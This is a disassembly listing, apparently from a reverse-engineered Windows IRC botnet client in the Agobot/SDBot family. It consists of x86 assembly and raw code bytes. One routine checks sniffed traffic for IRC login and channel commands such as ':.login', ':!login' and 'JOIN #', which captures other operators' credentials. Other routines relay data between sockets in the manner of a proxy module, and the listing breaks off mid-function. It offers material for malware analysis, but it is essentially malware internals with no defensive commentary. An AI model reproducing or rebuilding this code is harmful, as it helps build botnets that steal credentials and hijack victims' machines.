		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------

loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------

loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx

loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA34
		test	eax, eax
		jle	short loc_411BC9

loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------

loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------

loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------

loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9E4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA6415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E92Ch,	50EC458Dh, 1015FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CBA0Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0A068FFFFh, 500042BCh, 0A5E5E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA7815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 7015FFE0h, 50004CBAh, 0FD2C858Dh, 4068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E92488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 0E2D6E890h, 4D8B0227h, 34C969C8h, 3B000002h,	348189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0F1EFE890h
		dd 0EDEB0226h, 27EC16E8h, 8D509002h, 0FFFD2C85h, 570468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 7C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356D068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22DE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E92Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9CCh, 1875C085h, 15FF36FFh, 4CBA7Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22DE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9FC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA7C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2DE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 58086850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 3415FF36h, 0FF004CBAh, 7C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022DE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 6415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB978h, 57C86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 3415FF36h, 0FF004CBAh, 7C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h,	8D022DE0h
		dd 106AE845h, 15FF5750h, 4CB98Ch, 75FFF883h, 7815FF5Dh
		dd 50004CB9h, 43578468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA3415FFh, 36FF004Ch, 0BA7C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 2DDFDFE8h, 689002h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA3415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 7C15FF57h, 0FF004CBAh
		dd 7C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	81E89053h
		dd 0FF022DDFh, 7C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
		db 0DFh, 2Dh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5

loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9CC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8D0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192

loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD

loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA6415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 52E80000h, 900226EDh
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0DDCAE853h, 8D90022Dh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9C4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9C4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E92CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0E415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 1015FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 8AE89000h, 0FF0226ECh
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 26EC58E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh
		dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h
		dd 1CC483FFh, 0D9E89053h, 8B022DDCh, 9F39087Dh,	2A0h, 27D840Fh
		dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh,	5E445C7h
		dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
		dd 1FFFFh, 9E80000h, 8300009Ch,	458D0CC4h, 8D5350E4h, 0FFF78485h
		dd 535053FFh, 0B9CC15FFh, 0C085004Ch, 2218E0Fh,	98A00000h
		dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh
		dd 10F445h, 0ABF30000h,	8DAAAB66h, 8D50F445h, 5350C445h
		dd 0FF30858Dh, 8068FFFFh, 50000000h, 0BC15FF56h, 0FF004CB9h
		dd 4589C875h, 7015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h
		dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h,	0FFFF31BDh
		dd 850F01FFh, 0A3h, 0FD94858Dh,	0E850FFFFh, 95C0h, 75FF5353h
		dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh,	0FFFA889Dh
		dd 8985C6FFh, 3FFFFFAh,	20068h,	50016A00h, 0FA8A9D88h
		dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h
		dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh,	5650FFFFh
		dd 0BA4815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h
		dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h
		dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h,	38A7E8h
		dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh,	0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA4815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	4347A8h
		dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 37B0h, 0E4EC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 435848h, 4815FF56h, 39004CBAh, 8F0FF85Dh
		dd 0FFFFFD77h, 56087D8Bh, 0BA7C15FFh, 75FF004Ch, 9479E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF90FAh, 0E8905359h, 22DDA1Ch, 3E868h
		dd 4EE89000h, 570226E9h, 0FFFBA2E8h, 5B5E5FFFh,	4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435858

loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BC4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h

loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436458
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------

loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h

loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB96815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB98015h, 200BB00h
		dd 86A0000h, 0E833E890h, 15FF0226h, 4CB968h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB98015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C4C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C4C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 2C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9B0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB96815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB98015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 4C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43645Ch, 15FF106Ah, 4CB8B8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9B0h, 7480C4F6h, 0FF146A7Bh, 4CB8B815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8B815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 6815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB980h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C146850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BF8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B96815FFh
		dd 4D8D004Ch, 513C6AB8h, 8015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BE468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BCC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B8CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2DD49FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9E415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA2415h, 36A5600h,	4589026Ah
		dd 6415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	7815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 0AC68FFFFh, 50004375h, 9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 2DD3CBE8h, 458B9002h, 69106AD0h, 234C0h
		dd 2CB88900h, 8D0043E9h, 5750E445h, 0BA1015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB97815h, 858D5000h, 0FFFFFD4Ch, 43758068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 7C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	45E89056h
		dd 56022DD3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB99015h, 0FFF88300h, 15FF6475h, 4CB978h, 4C858D50h
		dd 68FFFFFDh, 437550h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA7C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 0D2C2E890h, 0BB53022Dh, 436C68h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9FCh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 4468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 753468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B91415FFh, 0B70F004Ch, 75FF50C0h, 7015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C7CC504h, 34FF0043h, 436C5885h, 4C858D00h
		dd 68FFFFFDh, 437500h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 7815FFFFh, 50004CB9h
		dd 4374D468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA7C15h
		dd 0D075FF00h, 0FF8801E8h, 0E85659FFh, 22DD124h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE744, eax
		mov	eax, offset dword_4CE744
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06

loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E

loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACF0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
